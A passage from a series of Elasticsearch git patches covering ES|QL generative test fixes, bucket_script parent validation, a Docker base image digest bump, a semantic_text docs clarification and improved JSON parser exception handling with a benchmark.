index 2fc7158a90f77..765f83cd9bbc2 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -395,14 +395,8 @@ tests:
 - class: org.elasticsearch.cluster.metadata.ComposableIndexTemplateTests
   method: testMergeEmptyMappingsIntoTemplateWithNonEmptySettings
   issue: https://github.com/elastic/elasticsearch/issues/130050
-- class: org.elasticsearch.xpack.esql.qa.multi_node.GenerativeIT
-  method: test
-  issue: https://github.com/elastic/elasticsearch/issues/130067
 - class: geoip.GeoIpMultiProjectIT
   issue: https://github.com/elastic/elasticsearch/issues/130073
-- class: org.elasticsearch.xpack.esql.qa.single_node.GenerativeIT
-  method: test
-  issue: https://github.com/elastic/elasticsearch/issues/130067
 - class: org.elasticsearch.search.SearchWithRejectionsIT
   method: testOpenContextsAfterRejections
   issue: https://github.com/elastic/elasticsearch/issues/130821
diff --git a/x-pack/plugin/esql/qa/server/src/main/java/org/elasticsearch/xpack/esql/qa/rest/generative/EsqlQueryGenerator.java b/x-pack/plugin/esql/qa/server/src/main/java/org/elasticsearch/xpack/esql/qa/rest/generative/EsqlQueryGenerator.java
index 129676183a853..ef02d4a1f8c98 100644
--- a/x-pack/plugin/esql/qa/server/src/main/java/org/elasticsearch/xpack/esql/qa/rest/generative/EsqlQueryGenerator.java
+++ b/x-pack/plugin/esql/qa/server/src/main/java/org/elasticsearch/xpack/esql/qa/rest/generative/EsqlQueryGenerator.java
@@ -288,7 +288,9 @@ public static boolean fieldCanBeUsed(Column field) {
         // https://github.com/elastic/elasticsearch/issues/121741
         field.name().equals("<all-fields-projected>")
             // this is a known pathological case, no need to test it for now
-            || field.name().equals("<no-fields>")) == false;
+            || field.name().equals("<no-fields>")
+            // no dense vectors for now, they are not supported in most commands
+            || field.type().contains("vector")) == false;
     }
 
     public static String unquote(String colName) {

From fda953f7ebc0ad812891d51dd7f28601b9338001 Mon Sep 17 00:00:00 2001
From: Alexander Spies <alexander.spies@elastic.co>
Date: Tue, 5 Aug 2025 12:41:20 +0200
Subject: [PATCH 290/299] ESQL: Fix skipping of generative tests (#132390)
 (#132436)

The error message can sometimes be split into multiple lines with
backslashes marking the line boundaries. Let's make our skips work even
in case of overlong lines.

(cherry picked from commit ccfbf490334bca674412da7db3dc28806544c917)

# Conflicts:
#	muted-tests.yml
---
 .../qa/rest/generative/GenerativeRestTest.java    | 15 +++++++++++++--
 1 file changed, 13 insertions(+), 2 deletions(-)

diff --git a/x-pack/plugin/esql/qa/server/src/main/java/org/elasticsearch/xpack/esql/qa/rest/generative/GenerativeRestTest.java b/x-pack/plugin/esql/qa/server/src/main/java/org/elasticsearch/xpack/esql/qa/rest/generative/GenerativeRestTest.java
index e997995e50b9d..bf4f1e76f1860 100644
--- a/x-pack/plugin/esql/qa/server/src/main/java/org/elasticsearch/xpack/esql/qa/rest/generative/GenerativeRestTest.java
+++ b/x-pack/plugin/esql/qa/server/src/main/java/org/elasticsearch/xpack/esql/qa/rest/generative/GenerativeRestTest.java
@@ -144,7 +144,7 @@ private static CommandGenerator.ValidationResult checkResults(
         );
         if (outputValidation.success() == false) {
             for (Pattern allowedError : ALLOWED_ERROR_PATTERNS) {
-                if (allowedError.matcher(outputValidation.errorMessage()).matches()) {
+                if (isAllowedError(outputValidation.errorMessage(), allowedError)) {
                     return outputValidation;
                 }
             }
@@ -155,13 +155,24 @@ private static CommandGenerator.ValidationResult checkResults(
 
     private void checkException(EsqlQueryGenerator.QueryExecuted query) {
         for (Pattern allowedError : ALLOWED_ERROR_PATTERNS) {
-            if (allowedError.matcher(query.exception().getMessage()).matches()) {
+            if (isAllowedError(query.exception().getMessage(), allowedError)) {
                 return;
             }
         }
         fail("query: " + query.query() + "\nexception: " + query.exception().getMessage());
     }
 
+    /**
+     * Long lines in exceptions can be split across several lines. When a newline is inserted, the end of the current line and the beginning
+     * of the new line are marked with a backslash {@code \}; the new line will also have whitespace before the backslash for aligning.
+     */
+    private static final Pattern ERROR_MESSAGE_LINE_BREAK = Pattern.compile("\\\\\n\\s*\\\\");
+
+    private static boolean isAllowedError(String errorMessage, Pattern allowedPattern) {
+        String errorWithoutLineBreaks = ERROR_MESSAGE_LINE_BREAK.matcher(errorMessage).replaceAll("");
+        return allowedPattern.matcher(errorWithoutLineBreaks).matches();
+    }
+
     @SuppressWarnings("unchecked")
     private EsqlQueryGenerator.QueryExecuted execute(String command, int depth) {
         try {

From 3ee0fd4626636a46d5f1587989a27ee5c84927cf Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Iv=C3=A1n=20Cea=20Fontenla?= <ivancea96@outlook.com>
Date: Tue, 5 Aug 2025 14:16:43 +0200
Subject: [PATCH 291/299] Aggs: Add validation to Bucket script pipeline agg
 (#132320) (#132442)

Closes https://github.com/elastic/elasticsearch/issues/132272

Docs are explicit on what the bucket_script agg requires:

> A parent pipeline aggregation which executes a script which can perform per bucket computations on specified metrics in the parent **_multi-bucket aggregation_**

But it's missing a validation.
---
 docs/changelog/132320.yaml                    |  6 +++
 .../test/aggregations/bucket_script.yml       | 28 ++++++++++++++
 .../action/search/SearchCapabilities.java     |  2 +
 .../BucketScriptPipelineAggregator.java       | 21 ++++++++--
 .../pipeline/BucketScriptAggregatorTests.java | 38 ++++++++++++++++++-
 5 files changed, 91 insertions(+), 4 deletions(-)
 create mode 100644 docs/changelog/132320.yaml

diff --git a/docs/changelog/132320.yaml b/docs/changelog/132320.yaml
new file mode 100644
index 0000000000000..588f975def8dd
--- /dev/null
+++ b/docs/changelog/132320.yaml
@@ -0,0 +1,6 @@
+pr: 132320
+summary: "Aggs: Add validation to Bucket script pipeline agg"
+area: Aggregations
+type: bug
+issues:
+ - 132272
diff --git a/modules/aggregations/src/yamlRestTest/resources/rest-api-spec/test/aggregations/bucket_script.yml b/modules/aggregations/src/yamlRestTest/resources/rest-api-spec/test/aggregations/bucket_script.yml
index c23c2a7ee52a4..bd093955a910f 100644
--- a/modules/aggregations/src/yamlRestTest/resources/rest-api-spec/test/aggregations/bucket_script.yml
+++ b/modules/aggregations/src/yamlRestTest/resources/rest-api-spec/test/aggregations/bucket_script.yml
@@ -340,3 +340,31 @@ top level fails:
                 buckets_path:
                   b: b
                 script: params.b + 12
+
+---
+invalid parent aggregation:
+  - requires:
+      capabilities:
+        - method: POST
+          path: /_search
+          capabilities: [ bucket_script_parent_multi_bucket_error ]
+      test_runner_features: [capabilities]
+      reason: "changed error 500 to 400"
+  - do:
+      catch: /Expected a multi bucket aggregation but got \[InternalFilter\] for aggregation \[d\]/
+      search:
+        body:
+          aggs:
+            a:
+              filter:
+                term:
+                  a: 1
+              aggs:
+                b:
+                  sum:
+                    field: b
+                d:
+                  bucket_script:
+                    buckets_path:
+                      b: b
+                    script: params.b + 12
diff --git a/server/src/main/java/org/elasticsearch/rest/action/search/SearchCapabilities.java b/server/src/main/java/org/elasticsearch/rest/action/search/SearchCapabilities.java
index ecbd092b455c7..9993188208770 100644
--- a/server/src/main/java/org/elasticsearch/rest/action/search/SearchCapabilities.java
+++ b/server/src/main/java/org/elasticsearch/rest/action/search/SearchCapabilities.java
@@ -52,6 +52,7 @@ private SearchCapabilities() {}
     private static final String SIGNIFICANT_TERMS_ON_NESTED_FIELDS = "significant_terms_on_nested_fields";
     private static final String EXCLUDE_VECTORS_PARAM = "exclude_vectors_param";
     private static final String DENSE_VECTOR_UPDATABLE_BBQ = "dense_vector_updatable_bbq";
+    private static final String BUCKET_SCRIPT_PARENT_MULTI_BUCKET_ERROR = "bucket_script_parent_multi_bucket_error";
 
     public static final Set<String> CAPABILITIES;
     static {
@@ -75,6 +76,7 @@ private SearchCapabilities() {}
         capabilities.add(SIGNIFICANT_TERMS_ON_NESTED_FIELDS);
         capabilities.add(EXCLUDE_VECTORS_PARAM);
         capabilities.add(DENSE_VECTOR_UPDATABLE_BBQ);
+        capabilities.add(BUCKET_SCRIPT_PARENT_MULTI_BUCKET_ERROR);
         CAPABILITIES = Set.copyOf(capabilities);
     }
 }
diff --git a/server/src/main/java/org/elasticsearch/search/aggregations/pipeline/BucketScriptPipelineAggregator.java b/server/src/main/java/org/elasticsearch/search/aggregations/pipeline/BucketScriptPipelineAggregator.java
index 224a39bb73d05..05943591cc026 100644
--- a/server/src/main/java/org/elasticsearch/search/aggregations/pipeline/BucketScriptPipelineAggregator.java
+++ b/server/src/main/java/org/elasticsearch/search/aggregations/pipeline/BucketScriptPipelineAggregator.java
@@ -21,6 +21,7 @@
 import java.util.ArrayList;
 import java.util.HashMap;
 import java.util.List;
+import java.util.Locale;
 import java.util.Map;
 
 import static org.elasticsearch.search.aggregations.pipeline.BucketHelpers.resolveBucketValue;
@@ -47,10 +48,24 @@ public class BucketScriptPipelineAggregator extends PipelineAggregator {
     }
 
     @Override
+    @SuppressWarnings({ "rawtypes", "unchecked" })
     public InternalAggregation reduce(InternalAggregation aggregation, AggregationReduceContext reduceContext) {
-        @SuppressWarnings({ "rawtypes", "unchecked" })
-        InternalMultiBucketAggregation<InternalMultiBucketAggregation, InternalMultiBucketAggregation.InternalBucket> originalAgg =
-            (InternalMultiBucketAggregation<InternalMultiBucketAggregation, InternalMultiBucketAggregation.InternalBucket>) aggregation;
+
+        InternalMultiBucketAggregation<InternalMultiBucketAggregation, InternalMultiBucketAggregation.InternalBucket> originalAgg;
+
+        if (aggregation instanceof InternalMultiBucketAggregation multiBucketAggregation) {
+            originalAgg = multiBucketAggregation;
+        } else {
+            throw new IllegalArgumentException(
+                String.format(
+                    Locale.ROOT,
+                    "Expected a multi bucket aggregation but got [%s] for aggregation [%s]",
+                    aggregation.getClass().getSimpleName(),
+                    name()
+                )
+            );
+        }
+
         List<? extends InternalMultiBucketAggregation.InternalBucket> buckets = originalAgg.getBuckets();
 
         BucketAggregationScript.Factory factory = reduceContext.scriptService().compile(script, BucketAggregationScript.CONTEXT);
diff --git a/server/src/test/java/org/elasticsearch/search/aggregations/pipeline/BucketScriptAggregatorTests.java b/server/src/test/java/org/elasticsearch/search/aggregations/pipeline/BucketScriptAggregatorTests.java
index ba6b9ddabdaf1..2d501226c2698 100644
--- a/server/src/test/java/org/elasticsearch/search/aggregations/pipeline/BucketScriptAggregatorTests.java
+++ b/server/src/test/java/org/elasticsearch/search/aggregations/pipeline/BucketScriptAggregatorTests.java
@@ -30,7 +30,9 @@
 import org.elasticsearch.script.ScriptModule;
 import org.elasticsearch.script.ScriptService;
 import org.elasticsearch.script.ScriptType;
+import org.elasticsearch.search.aggregations.AggregationBuilder;
 import org.elasticsearch.search.aggregations.AggregatorTestCase;
+import org.elasticsearch.search.aggregations.bucket.filter.FilterAggregationBuilder;
 import org.elasticsearch.search.aggregations.bucket.filter.FiltersAggregationBuilder;
 import org.elasticsearch.search.aggregations.bucket.filter.InternalFilters;
 import org.elasticsearch.search.aggregations.bucket.terms.TermsAggregationBuilder;
@@ -95,8 +97,42 @@ public void testScript() throws IOException {
         );
     }
 
+    public void testNonMultiBucketParent() {
+        MappedFieldType fieldType = new NumberFieldMapper.NumberFieldType("number_field", NumberFieldMapper.NumberType.INTEGER);
+        MappedFieldType fieldType1 = new KeywordFieldMapper.KeywordFieldType("the_field");
+
+        FilterAggregationBuilder filter = new FilterAggregationBuilder("placeholder", new MatchAllQueryBuilder()).subAggregation(
+            new TermsAggregationBuilder("the_terms").userValueTypeHint(ValueType.STRING)
+                .field("the_field")
+                .subAggregation(new AvgAggregationBuilder("the_avg").field("number_field"))
+        )
+            .subAggregation(
+                new BucketScriptPipelineAggregationBuilder(
+                    "bucket_script",
+                    Collections.singletonMap("the_avg", "the_terms['test1']>the_avg.value"),
+                    new Script(ScriptType.INLINE, MockScriptEngine.NAME, SCRIPT_NAME, Collections.emptyMap())
+                )
+            );
+
+        assertThrows(
+            "Expected a multi bucket aggregation but got [InternalFilter] for aggregation [bucket_script]",
+            IllegalArgumentException.class,
+            () -> testCase(filter, new MatchAllDocsQuery(), iw -> {
+                Document doc = new Document();
+                doc.add(new SortedSetDocValuesField("the_field", new BytesRef("test1")));
+                doc.add(new SortedNumericDocValuesField("number_field", 19));
+                iw.addDocument(doc);
+
+                doc = new Document();
+                doc.add(new SortedSetDocValuesField("the_field", new BytesRef("test2")));
+                doc.add(new SortedNumericDocValuesField("number_field", 55));
+                iw.addDocument(doc);
+            }, f -> fail("This shouldn't be called"), fieldType, fieldType1)
+        );
+    }
+
     private void testCase(
-        FiltersAggregationBuilder aggregationBuilder,
+        AggregationBuilder aggregationBuilder,
         Query query,
         CheckedConsumer<RandomIndexWriter, IOException> buildIndex,
         Consumer<InternalFilters> verify,

From f2cbdaefd045852cd3eab2f1422d25e56d1c92e7 Mon Sep 17 00:00:00 2001
From: "elastic-renovate-prod[bot]"
 <174716857+elastic-renovate-prod[bot]@users.noreply.github.com>
Date: Tue, 5 Aug 2025 20:09:13 +0200
Subject: [PATCH 292/299] Update
 docker.elastic.co/wolfi/chainguard-base-fips:latest Docker digest to 9f7cb23
 (#132464)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

This PR contains the following updates:

| Package | Type | Update | Change | |---|---|---|---| |
docker.elastic.co/wolfi/chainguard-base-fips |  | digest | `4a8fe3e` ->
`9f7cb23` | | docker.elastic.co/wolfi/chainguard-base-fips | final |
digest | `4a8fe3e` -> `9f7cb23` | |
docker.elastic.co/wolfi/chainguard-base-fips | stage | digest |
`4a8fe3e` -> `9f7cb23` |

---

### Configuration

📅 **Schedule**: Branch creation - "after 1pm on tuesday" (UTC),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once
you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate
Bot](https://redirect.github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiOS4xIiwibGFiZWxzIjpbIjpEZWxpdmVyeS9QYWNrYWdpbmciLCI+bm9uLWlzc3VlIiwiVGVhbTpEZWxpdmVyeSIsImF1dG8tbWVyZ2Utd2l0aG91dC1hcHByb3ZhbCJdfQ==-->
---
 .../docker/src/docker/dockerfiles/cloud_ess_fips/Dockerfile   | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/distribution/docker/src/docker/dockerfiles/cloud_ess_fips/Dockerfile b/distribution/docker/src/docker/dockerfiles/cloud_ess_fips/Dockerfile
index 0706873feaacc..1bcca8f0f02f6 100644
--- a/distribution/docker/src/docker/dockerfiles/cloud_ess_fips/Dockerfile
+++ b/distribution/docker/src/docker/dockerfiles/cloud_ess_fips/Dockerfile
@@ -24,7 +24,7 @@
 # Extract Elasticsearch artifact
 ################################################################################
 
-FROM docker.elastic.co/wolfi/chainguard-base-fips:latest@sha256:4a8fe3e7390fcf11a88b216b4608f1db322c327e801898386808551ebbdc7523 AS builder
+FROM docker.elastic.co/wolfi/chainguard-base-fips:latest@sha256:9f7cb23b2e39892e66ad8355c5740f7529637b7d3dcf5dba62971a348b5120d3 AS builder
 
 # Install required packages to extract the Elasticsearch distribution
 RUN <%= retry.loop(package_manager, "export DEBIAN_FRONTEND=noninteractive && ${package_manager} update && ${package_manager} update && ${package_manager} add --no-cache curl") %>
@@ -103,7 +103,7 @@ WORKDIR /usr/share/elasticsearch/config
 # Add entrypoint
 ################################################################################
 
-FROM docker.elastic.co/wolfi/chainguard-base-fips:latest@sha256:4a8fe3e7390fcf11a88b216b4608f1db322c327e801898386808551ebbdc7523
+FROM docker.elastic.co/wolfi/chainguard-base-fips:latest@sha256:9f7cb23b2e39892e66ad8355c5740f7529637b7d3dcf5dba62971a348b5120d3
 
 RUN <%= retry.loop(package_manager,
           "export DEBIAN_FRONTEND=noninteractive && \n" +

From d08ac4740e5546f1242738e032856dab94b8a6d1 Mon Sep 17 00:00:00 2001
From: Kathleen DeRusso <kathleen.derusso@elastic.co>
Date: Tue, 5 Aug 2025 16:37:38 -0400
Subject: [PATCH 293/299] Clarify quantization on semantic_text BBQ dense
 vector default (#132470) (#132473)

---
 docs/reference/elasticsearch/mapping-reference/semantic-text.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/docs/reference/elasticsearch/mapping-reference/semantic-text.md b/docs/reference/elasticsearch/mapping-reference/semantic-text.md
index f77e6ee30d8dc..88190d096e27e 100644
--- a/docs/reference/elasticsearch/mapping-reference/semantic-text.md
+++ b/docs/reference/elasticsearch/mapping-reference/semantic-text.md
@@ -35,7 +35,7 @@ the embedding generation, indexing, and query to use.
 
 {applies_to}`stack: ga 9.1`  Newly created indices with `semantic_text` fields using dense embeddings will be
 [quantized](/reference/elasticsearch/mapping-reference/dense-vector.md#dense-vector-quantization)
-to `bbq_hnsw` automatically.
+to `bbq_hnsw` automatically as long as they have a minimum of 64 dimensions.
 
 If you use the preconfigured `.elser-2-elasticsearch` endpoint, you can set up
 `semantic_text` with the following API request:

From b115e2e01af476a0169c4cc7072df942a80f18c4 Mon Sep 17 00:00:00 2001
From: Stanislav Malyshev <smalyshev@users.noreply.github.com>
Date: Tue, 5 Aug 2025 18:32:13 -0700
Subject: [PATCH 294/299] Improve exception handling for JsonXContentParser
 (#123439) (#132480)

* Improve exception handling for JsonXContentParser
* Wrap parser creation so that bad char sequences do not cause 500
* Unroll safeParse due to performance concerns
* Add parser-only microbenchmark
---
 .../xcontent/JsonParserBenchmark.java         | 87 +++++++++++++++++
 .../provider/json/JsonXContentImpl.java       | 26 ++++-
 .../provider/json/JsonXContentParser.java     | 94 ++++++++++++-------
 .../ReportingAttachmentParserTests.java       |  2 +-
 4 files changed, 169 insertions(+), 40 deletions(-)
 create mode 100644 benchmarks/src/main/java/org/elasticsearch/benchmark/xcontent/JsonParserBenchmark.java

diff --git a/benchmarks/src/main/java/org/elasticsearch/benchmark/xcontent/JsonParserBenchmark.java b/benchmarks/src/main/java/org/elasticsearch/benchmark/xcontent/JsonParserBenchmark.java
new file mode 100644
index 0000000000000..a49f01f81c34f
--- /dev/null
+++ b/benchmarks/src/main/java/org/elasticsearch/benchmark/xcontent/JsonParserBenchmark.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the "Elastic License
+ * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side
+ * Public License v 1"; you may not use this file except in compliance with, at
+ * your election, the "Elastic License 2.0", the "GNU Affero General Public
+ * License v3.0 only", or the "Server Side Public License, v 1".
+ */
+
+package org.elasticsearch.benchmark.xcontent;
+
+import org.elasticsearch.common.bytes.BytesReference;
+import org.elasticsearch.common.io.Streams;
+import org.elasticsearch.xcontent.XContentParser;
+import org.elasticsearch.xcontent.XContentParserConfiguration;
+import org.elasticsearch.xcontent.XContentType;
+import org.openjdk.jmh.annotations.Benchmark;
+import org.openjdk.jmh.annotations.BenchmarkMode;
+import org.openjdk.jmh.annotations.Fork;
+import org.openjdk.jmh.annotations.Level;
+import org.openjdk.jmh.annotations.Measurement;
+import org.openjdk.jmh.annotations.Mode;
+import org.openjdk.jmh.annotations.OutputTimeUnit;
+import org.openjdk.jmh.annotations.Scope;
+import org.openjdk.jmh.annotations.Setup;
+import org.openjdk.jmh.annotations.State;
+import org.openjdk.jmh.annotations.Warmup;
+import org.openjdk.jmh.infra.Blackhole;
+
+import java.io.IOException;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import java.util.Map;
+import java.util.Random;
+import java.util.concurrent.TimeUnit;
+import java.util.stream.Collectors;
+
+@Fork(1)
+@Warmup(iterations = 5)
+@Measurement(iterations = 10)
+@BenchmarkMode(Mode.AverageTime)
+@OutputTimeUnit(TimeUnit.NANOSECONDS)
+@State(Scope.Thread)
+public class JsonParserBenchmark {
+    private Map<String, BytesReference> sourceBytes;
+    private BytesReference source;
+    private Random random;
+    private List<String> sourcesRandomized;
+
+    final String[] sources = new String[] { "monitor_cluster_stats.json", "monitor_index_stats.json", "monitor_node_stats.json" };
+
+    @Setup(Level.Iteration)
+    public void randomizeSource() {
+        sourcesRandomized = Arrays.asList(sources);
+        Collections.shuffle(sourcesRandomized, random);
+    }
+
+    @Setup(Level.Trial)
+    public void setup() throws IOException {
+        random = new Random();
+        sourceBytes = Arrays.stream(sources).collect(Collectors.toMap(s -> s, s -> {
+            try {
+                return readSource(s);
+            } catch (IOException e) {
+                throw new RuntimeException(e);
+            }
+        }));
+    }
+
+    @Benchmark
+    public void parseJson(Blackhole bh) throws IOException {
+        sourcesRandomized.forEach(source -> {
+            try {
+                final XContentParser parser = XContentType.JSON.xContent()
+                    .createParser(XContentParserConfiguration.EMPTY, sourceBytes.get(source).streamInput());
+                bh.consume(parser.mapOrdered());
+            } catch (IOException e) {
+                throw new RuntimeException(e);
+            }
+        });
+    }
+
+    private BytesReference readSource(String fileName) throws IOException {
+        return Streams.readFully(JsonParserBenchmark.class.getResourceAsStream(fileName));
+    }
+}
diff --git a/libs/x-content/impl/src/main/java/org/elasticsearch/xcontent/provider/json/JsonXContentImpl.java b/libs/x-content/impl/src/main/java/org/elasticsearch/xcontent/provider/json/JsonXContentImpl.java
index 067985b404f3e..d109fd28dd839 100644
--- a/libs/x-content/impl/src/main/java/org/elasticsearch/xcontent/provider/json/JsonXContentImpl.java
+++ b/libs/x-content/impl/src/main/java/org/elasticsearch/xcontent/provider/json/JsonXContentImpl.java
@@ -28,6 +28,8 @@
 import java.io.Reader;
 import java.util.Set;
 
+import static org.elasticsearch.xcontent.provider.json.JsonXContentParser.handleParserException;
+
 /**
  * A JSON based content implementation using Jackson.
  */
@@ -95,21 +97,37 @@ private XContentParser createParser(XContentParserConfiguration config, JsonPars
 
     @Override
     public XContentParser createParser(XContentParserConfiguration config, String content) throws IOException {
-        return createParser(config, jsonFactory.createParser(content));
+        try {
+            return createParser(config, jsonFactory.createParser(content));
+        } catch (IOException e) {
+            throw handleParserException(e);
+        }
     }
 
     @Override
     public XContentParser createParser(XContentParserConfiguration config, InputStream is) throws IOException {
-        return createParser(config, jsonFactory.createParser(is));
+        try {
+            return createParser(config, jsonFactory.createParser(is));
+        } catch (IOException e) {
+            throw handleParserException(e);
+        }
     }
 
     @Override
     public XContentParser createParser(XContentParserConfiguration config, byte[] data, int offset, int length) throws IOException {
-        return createParser(config, jsonFactory.createParser(data, offset, length));
+        try {
+            return createParser(config, jsonFactory.createParser(data, offset, length));
+        } catch (IOException e) {
+            throw handleParserException(e);
+        }
     }
 
     @Override
     public XContentParser createParser(XContentParserConfiguration config, Reader reader) throws IOException {
-        return createParser(config, jsonFactory.createParser(reader));
+        try {
+            return createParser(config, jsonFactory.createParser(reader));
+        } catch (IOException e) {
+            throw handleParserException(e);
+        }
     }
 }
diff --git a/libs/x-content/impl/src/main/java/org/elasticsearch/xcontent/provider/json/JsonXContentParser.java b/libs/x-content/impl/src/main/java/org/elasticsearch/xcontent/provider/json/JsonXContentParser.java
index 3471fd362f88e..9530627157683 100644
--- a/libs/x-content/impl/src/main/java/org/elasticsearch/xcontent/provider/json/JsonXContentParser.java
+++ b/libs/x-content/impl/src/main/java/org/elasticsearch/xcontent/provider/json/JsonXContentParser.java
@@ -15,6 +15,7 @@
 import com.fasterxml.jackson.core.JsonProcessingException;
 import com.fasterxml.jackson.core.JsonToken;
 import com.fasterxml.jackson.core.exc.InputCoercionException;
+import com.fasterxml.jackson.core.exc.StreamConstraintsException;
 import com.fasterxml.jackson.core.io.JsonEOFException;
 
 import org.elasticsearch.core.IOUtils;
@@ -28,6 +29,7 @@
 import org.elasticsearch.xcontent.provider.XContentParserConfigurationImpl;
 import org.elasticsearch.xcontent.support.AbstractXContentParser;
 
+import java.io.CharConversionException;
 import java.io.IOException;
 import java.nio.CharBuffer;
 
@@ -50,20 +52,42 @@ public void allowDuplicateKeys(boolean allowDuplicateKeys) {
         parser.configure(JsonParser.Feature.STRICT_DUPLICATE_DETECTION, allowDuplicateKeys == false);
     }
 
-    private static XContentParseException newXContentParseException(JsonProcessingException e) {
+    private static XContentLocation getLocation(JsonProcessingException e) {
         JsonLocation loc = e.getLocation();
-        throw new XContentParseException(new XContentLocation(loc.getLineNr(), loc.getColumnNr()), e.getMessage(), e);
+        if (loc != null) {
+            return new XContentLocation(loc.getLineNr(), loc.getColumnNr());
+        } else {
+            return null;
+        }
+    }
+
+    private static XContentParseException newXContentParseException(JsonProcessingException e) {
+        return new XContentParseException(getLocation(e), e.getMessage(), e);
+    }
+
+    /**
+     * Handle parser exception depending on type.
+     * This converts known exceptions to XContentParseException and rethrows them.
+     */
+    static IOException handleParserException(IOException e) throws IOException {
+        switch (e) {
+            case JsonEOFException eof -> throw new XContentEOFException(getLocation(eof), "Unexpected end of file", e);
+            case JsonParseException pe -> throw newXContentParseException(pe);
+            case InputCoercionException ice -> throw newXContentParseException(ice);
+            case CharConversionException cce -> throw new XContentParseException(null, cce.getMessage(), cce);
+            case StreamConstraintsException sce -> throw newXContentParseException(sce);
+            default -> {
+                return e;
+            }
+        }
     }
 
     @Override
     public Token nextToken() throws IOException {
         try {
             return convertToken(parser.nextToken());
-        } catch (JsonEOFException e) {
-            JsonLocation location = e.getLocation();
-            throw new XContentEOFException(new XContentLocation(location.getLineNr(), location.getColumnNr()), "Unexpected end of file", e);
-        } catch (JsonParseException e) {
-            throw newXContentParseException(e);
+        } catch (IOException e) {
+            throw handleParserException(e);
         }
     }
 
@@ -71,8 +95,8 @@ public Token nextToken() throws IOException {
     public String nextFieldName() throws IOException {
         try {
             return parser.nextFieldName();
-        } catch (JsonParseException e) {
-            throw newXContentParseException(e);
+        } catch (IOException e) {
+            throw handleParserException(e);
         }
     }
 
@@ -100,8 +124,8 @@ public String currentName() throws IOException {
     protected boolean doBooleanValue() throws IOException {
         try {
             return parser.getBooleanValue();
-        } catch (JsonParseException e) {
-            throw newXContentParseException(e);
+        } catch (IOException e) {
+            throw handleParserException(e);
         }
     }
 
@@ -112,8 +136,8 @@ public String text() throws IOException {
         }
         try {
             return parser.getText();
-        } catch (JsonParseException e) {
-            throw newXContentParseException(e);
+        } catch (IOException e) {
+            throw handleParserException(e);
         }
     }
 
@@ -139,8 +163,8 @@ private void throwOnNoText() {
     public CharBuffer charBuffer() throws IOException {
         try {
             return CharBuffer.wrap(parser.getTextCharacters(), parser.getTextOffset(), parser.getTextLength());
-        } catch (JsonParseException e) {
-            throw newXContentParseException(e);
+        } catch (IOException e) {
+            throw handleParserException(e);
         }
     }
 
@@ -189,8 +213,8 @@ public boolean hasTextCharacters() {
     public char[] textCharacters() throws IOException {
         try {
             return parser.getTextCharacters();
-        } catch (JsonParseException e) {
-            throw newXContentParseException(e);
+        } catch (IOException e) {
+            throw handleParserException(e);
         }
     }
 
@@ -198,8 +222,8 @@ public char[] textCharacters() throws IOException {
     public int textLength() throws IOException {
         try {
             return parser.getTextLength();
-        } catch (JsonParseException e) {
-            throw newXContentParseException(e);
+        } catch (IOException e) {
+            throw handleParserException(e);
         }
     }
 
@@ -207,8 +231,8 @@ public int textLength() throws IOException {
     public int textOffset() throws IOException {
         try {
             return parser.getTextOffset();
-        } catch (JsonParseException e) {
-            throw newXContentParseException(e);
+        } catch (IOException e) {
+            throw handleParserException(e);
         }
     }
 
@@ -216,8 +240,8 @@ public int textOffset() throws IOException {
     public Number numberValue() throws IOException {
         try {
             return parser.getNumberValue();
-        } catch (InputCoercionException | JsonParseException e) {
-            throw newXContentParseException(e);
+        } catch (IOException e) {
+            throw handleParserException(e);
         }
     }
 
@@ -225,8 +249,8 @@ public Number numberValue() throws IOException {
     public short doShortValue() throws IOException {
         try {
             return parser.getShortValue();
-        } catch (InputCoercionException | JsonParseException e) {
-            throw newXContentParseException(e);
+        } catch (IOException e) {
+            throw handleParserException(e);
         }
     }
 
@@ -234,8 +258,8 @@ public short doShortValue() throws IOException {
     public int doIntValue() throws IOException {
         try {
             return parser.getIntValue();
-        } catch (InputCoercionException | JsonParseException e) {
-            throw newXContentParseException(e);
+        } catch (IOException e) {
+            throw handleParserException(e);
         }
     }
 
@@ -243,8 +267,8 @@ public int doIntValue() throws IOException {
     public long doLongValue() throws IOException {
         try {
             return parser.getLongValue();
-        } catch (InputCoercionException | JsonParseException e) {
-            throw newXContentParseException(e);
+        } catch (IOException e) {
+            throw handleParserException(e);
         }
     }
 
@@ -252,8 +276,8 @@ public long doLongValue() throws IOException {
     public float doFloatValue() throws IOException {
         try {
             return parser.getFloatValue();
-        } catch (InputCoercionException | JsonParseException e) {
-            throw newXContentParseException(e);
+        } catch (IOException e) {
+            throw handleParserException(e);
         }
     }
 
@@ -261,8 +285,8 @@ public float doFloatValue() throws IOException {
     public double doDoubleValue() throws IOException {
         try {
             return parser.getDoubleValue();
-        } catch (InputCoercionException | JsonParseException e) {
-            throw newXContentParseException(e);
+        } catch (IOException e) {
+            throw handleParserException(e);
         }
     }
 
@@ -270,8 +294,8 @@ public double doDoubleValue() throws IOException {
     public byte[] binaryValue() throws IOException {
         try {
             return parser.getBinaryValue();
-        } catch (JsonParseException e) {
-            throw newXContentParseException(e);
+        } catch (IOException e) {
+            throw handleParserException(e);
         }
     }
 
diff --git a/x-pack/plugin/watcher/src/test/java/org/elasticsearch/xpack/watcher/notification/email/attachment/ReportingAttachmentParserTests.java b/x-pack/plugin/watcher/src/test/java/org/elasticsearch/xpack/watcher/notification/email/attachment/ReportingAttachmentParserTests.java
index f3b75273b2860..fed491c3a008d 100644
